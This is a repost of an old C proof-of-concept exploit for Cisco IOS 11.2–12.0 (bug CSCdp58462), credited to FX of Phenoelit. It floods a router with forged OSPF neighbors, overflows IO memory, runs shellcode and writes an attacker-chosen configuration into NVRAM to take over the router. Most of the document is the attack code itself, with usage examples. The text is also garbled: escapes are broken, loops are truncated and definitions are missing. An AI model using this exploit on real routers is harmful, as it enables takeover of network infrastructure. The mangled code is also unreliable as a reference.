Hi there, attached you may find the eXPloit for the Cisco IOS bug ID CSCdp58462. The bug is long fixed, so if you still run OSPF on a old version of IOS, now is a good time to give your routers some attention.
/* Cisco IOS IO memory exploit PRove of concept * by FX of Phenoelit *http://www.phenoelit.de * * For: * 19C3 Chaos Communication Congress 2002 / Berlin * BlackHat Briefings Seattle 2003 * * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory * strUCture (small buffer header). The attached program is a PoC to exploit * this vulnerability by executing "shell code" on the router and write the * attached configuration into NVRAM to basicaly own the router. * * Example: * linux# gcc -o OoopSPF OoopSPF.c * linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 / * -f ./small.config -t 0 -a 1.2.3.4 -vv * * You can see if it worked if a) the router does not crash and b) the output of * "show mem io" looks like this: * E40E38 264 E40D04 E40F6C 1 31632D8 *Packet Data* * E40F6C 264 E40E38 E410A0 1 31632D8 *Packet Data* * E410A0 264 E40F6C E411D4 1 31632D8 *Packet Data* * E411D4 1830400 E410A0 0 0 0 E411F8 808A8B8C [PHENOELIT] * * Exploit has to be "triggered". In LAB environment, go to the router and say * box# conf t * box(config)# buffers small perm 0 * * Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk, * Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people, * Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky. * * $Id: OoopSPF.c,v 1.4 2003/02/20 16:38:30 root Exp root $ */
// // Global variables to pass the current buffer location to the // OSPF packet generator function // int payloadc=0; char *payload=NULL; // packet counter (global) unsigned int pc=0;
// // Configuration // struct { int verbose; char *device; struct in_addr *target; u_int32_t src_net; u_int32_t src_mask; u_int32_t area; int directed; int test_only;
// fake block constants int n_neig; int data_start; u_int32_t blockbegin; u_int32_t prev; u_int32_t nop_sleet; u_int32_t stack_address; u_int32_t iomem_end;
// other stuff char *filename; int target_sel; } cfg;
u_char *construct_ospf(struct in_addr *dd, struct in_addr *src, u_int16_t autosys, int *psize); int init_socket_IP4(int broadcast); int sendpack_IP4(int sfd, u_char *packet,int plength); u_int16_t chksum(u_char *data, unsigned long count); void *smalloc(size_t size); void hexdump(unsigned char *bp, unsigned int length); void usage(char *s);
int main(int argc, char **argv) { char option; extern char *optarg; int sfd;
memset(&cfg,0,sizeof(cfg)); while ((option=getopt(argc,argv,"vDTd:s:n:L:F:f:t:S:a:"))! =EOF) { switch (option) { case 'v': cfg.verbose++; break; case 'D': cfg.directed++; break; case 'T': cfg.test_only++; break; case 'd': cfg.target=(struct in_addr *)smalloc(sizeof(struct in_addr)); if (inet_aton(optarg,cfg.target)==0) { fprintf(stderr,"Your destination is bullshit/n"); return (1); } break; case 's': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_net))==0) { fprintf(stderr,"Your source net is wrong/n"); return (1); } break; case 'n': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_mask))==0) { fprintf(stderr,"Your source mask is wrong/n"); return (1); } break; case 'L': cfg.n_neig=(unsigned int)strtoul(optarg,(char **)NULL,10); break; case 'F': cfg.data_start=(unsigned int)strtoul(optarg,(char **)NULL,16); break; case 'f': cfg.filename=(char *)smalloc(strlen(optarg)+1); strcpy(cfg.filename,optarg); break; case 't': cfg.target_sel=(unsigned int)strtoul(optarg,(char **)NULL,10); if (cfg.target_sel>TARGETS) { fprintf(stderr,"Target number unknown/n"); return (1); } break; case 'S': cfg.nop_sleet=(unsigned int)strtoul(optarg,(char **)NULL,10); break; case 'a': if (inet_aton(optarg,(struct in_addr*)&(cfg.area))==0) { fprintf(stderr,"Your area doesn't make sense./n"); return (1); } break; default: usage(argv[0]); } }
if (cfg.target_sel>TARGETS) { fprintf(stderr,"Error: user too stupid (check -t)/n"); return (-1); } if (cfg.n_neig==0) cfg.n_neig=targets[cfg.target_sel].n_neig; if (cfg.data_start==0) cfg.data_start=targets[cfg.target_sel].data_start; if (cfg.blockbegin==0) cfg.blockbegin=targets[cfg.target_sel].blockbegin; if (cfg.prev==0) cfg.prev=targets[cfg.target_sel].prev; if (cfg.nop_sleet==0) cfg.nop_sleet=targets[cfg.target_sel].nop_sleet; if (cfg.stack_address==0) / cfg.stack_address=targets[cfg.target_sel].stack_address; if (cfg.iomem_end==0) / cfg.iomem_end=targets[cfg.target_sel].iomem_end;
// // Check the parameters and set up a socket // cfg.src_net=cfg.src_net&cfg.src_mask;
if ( (cfg.src_net==0)(cfg.src_mask==0) (cfg.filename==NULL)(cfg.target==NULL)) { usage(argv[0]); }
if ((sfd=init_socket_IP4(1))<1) { fprintf(stderr,"Could not get a socket for you/n"); return (-1); }
// // Get some info back to the user if he requested verbose // if (cfg.verbose) { if (cfg.directed) printf("/twith unicast target %s/n",inet_ntoa(*cfg.target)); else printf("/twith default destination addresses/n"); printf("/twith source network %s/", inet_ntoa(*(struct in_addr*)&(cfg.src_net))); printf("%s/n",inet_ntoa(*(struct in_addr*)&(cfg.src_mask))); printf("Using Target: %s/n",targets[cfg.target_sel].description); printf( "/t# of neighbors: %u/n" "/tdata start : %u/n" "/tBlock address : 0x%08X/n" "/tPREV pointer : 0x%08X/n" "/tNOP sleet : %u/n" "/tStack address : 0x%08X/n" "/tIO Memory end : 0x%08X/n", cfg.n_neig,cfg.data_start,cfg.blockbegin,cfg.prev, cfg.nop_sleet,cfg.stack_address,cfg.iomem_end); }
// // Patch the fake block with the new values // bpatch->prev=htonl(cfg.prev); bpatch->size=htonl( (cfg.iomem_end -39 // minus block header in bytes - 1 -cfg.blockbegin) / 2); bpatch->free_next=htonl(cfg.blockbegin+sizeof(fakeblock)-5/* RED ZONE */ +((sizeof(nop)-1)*cfg.nop_sleet)); bpatch->free_prev=htonl(cfg.stack_address); bpatch->name=htonl(cfg.blockbegin+44);
/* * Load Config * - load into buffer * - prepare NVRAM header * - calculate checksum * -> *buffer contains payload */ if (cfg.filename==NULL) return (-1); if (stat(cfg.filename,&sb)! =0) { fprintf(stderr,"Could not stat() file %s/n",cfg.filename); return (-1); }
if ((fd=open(cfg.filename,O_RDONLY))<0) { fprintf(stderr,"Could not open() file %s/n",cfg.filename); return (-1); }
p=buffer+sizeof(nvheader_t); if (cfg.verbose) printf("%d bytes config read/n",read(fd,p,len)); close(fd);
// pad config so it is Word bound for the 0xcafef00d test if ((len%2)!=0) { strcat(p,"/x0A"); len++; if (cfg.verbose) printf("Padding config by one/n"); }
nvh=(nvheader_t *)buffer; nvh->magic=htons(0xABCD); nvh->one=htons(0x0001); // is always one nvh->IOSver=htons(0x0B03); // IOS version nvh->unknown=htonl(0x00000014); // something, 0x14 just works nvh->ptr=htonl(0x000D199F); // config end ptr nvh->size=htonl(len);
cs1=chksum(buffer,len+sizeof(nvheader_t)+2); if (cfg.verbose) printf("Checksum: %04X/n",htons(cs1)); nvh->checksum=cs1;
// // Put the overflow together // // (1) calculate size of the whole thing osize=sizeof(fakeblock)-1+ (cfg.nop_sleet * (sizeof(nop)-1))+ sizeof(ccode)-1+ sizeof(nvheader_t)+ len+ sizeof(terminator)-1; if ((osize/4)>cfg.data_start) { fprintf(stderr,"ERROR: The whole thing is too large!/n"); return (-1); } else { printf("Using %u out of %u bytes (overflow: %u bytes)/n", osize,cfg.data_start*4,cfg.n_neig*4); } // // adjust osize ot be 4byte bound // if ((osize%4!=0)) osize+=osize%4; overflow=smalloc(osize);
// // (2) copy the fakeblock in the buffer // memcpy(overflow,fakeblock,sizeof(fakeblock)-1); p=(void *)overflow+sizeof(fakeblock)-1;
// // (3) Add NOPs to the buffer // for (i=0;i memcpy(p,nop,sizeof(nop)-1); p+=sizeof(nop)-1; }
// // (4) Add the ccode // memcpy(p,ccode,sizeof(ccode)-1); p+=sizeof(ccode)-1;
// // (5) Add the NVRAM structure and config // memcpy(p,buffer,len+sizeof(nvheader_t)); p+=len+sizeof(nvheader_t);
// // (6) finish off with terminator // memcpy(p,terminator,sizeof(terminator)-1);
if (cfg.verbose>1) hexdump(overflow,osize); if (cfg.test_only) return (0);
payload=overflow+(osize-4); payloadc=osize;
// ************************* // PERFORM THE OVERFLOW // ************************* for (i=0;i u_char *pack; int plen; u_int32_t uip;
*psize=sizeof(iphdr_t)+sizeof(ospf_header_t)+sizeof(ospf_hello_t); tpacket=(u_char *)smalloc(*psize +3 /* for my checksum function, which sometimes steps over the mark */ );
// // If we are in the range of the whole overflow thingy, copy the appropriate // 4 bytes into the source address in the OSPF header // if ( (pc <= cfg.data_start) && (pc > cfg.data_start-(payloadc/4) ) ) { memcpy(&(ospfh->source),payload,IP_ADDR_LEN); payload-=4; } // // well, we are not in there, so we set it to some value // else { ospfh->source[0]=0xCA; ospfh->source[1]=0xFE; ospfh->source[2]=0xBA; ospfh->source[3]=0xBE; }
// be verbose if (cfg.verbose>2) printf(" [0x%08X] ",ntohl(*((unsigned / int*)&(ospfh->source))));
// compile the rest of the packet memcpy(&(ohelo->netmask),&(cfg.src_mask),4); ohelo->hello_interval=htons(10); ohelo->options=0x2; ohelo->priority=2; ohelo->dead_interval[3]=40; memcpy(&(ohelo->designated),&(src->s_addr),IP_ADDR_LEN);
/* A better version of hdump, from Lamont Granquist. Modified slightly * by Fyodor (fyodor@DHP.com) * obviously stolen by FX from nmap (util.c)*/ void hexdump(unsigned char *bp, unsigned int length) {
/* stolen from tcpdump, then kludged extensively */
fprintf(stderr,"Usage: /n" "%s -s -n -d -f " " -t /n" "Options:/n" "-s Use this network as source (as in target config)/n" "-n Use this netmask as source (as in target config)/n" "-d This is the target router interface IP/n" "-f Use this as the new config for the router/n" "-t # Use this target value set (see below)/n" "-a Use this OSPF area/n" "-v Be verbose (-vv or -vvv recommended)/n" "-D Directed attack (unicast) for 11.x targets/n" "-T Test only - don't send/n" " --- barely used options ---/n" "-L # Number of neighbors to announce (overflow size)/n" "-F # Start of data (seen reverse to overflow)/n" "-S # NOP sleet/n" "/n" "Known targets:/n" ,s);
for (i=0;i<=TARGETS;i++) fprintf(stderr,"/t%s/n",targets[i].description);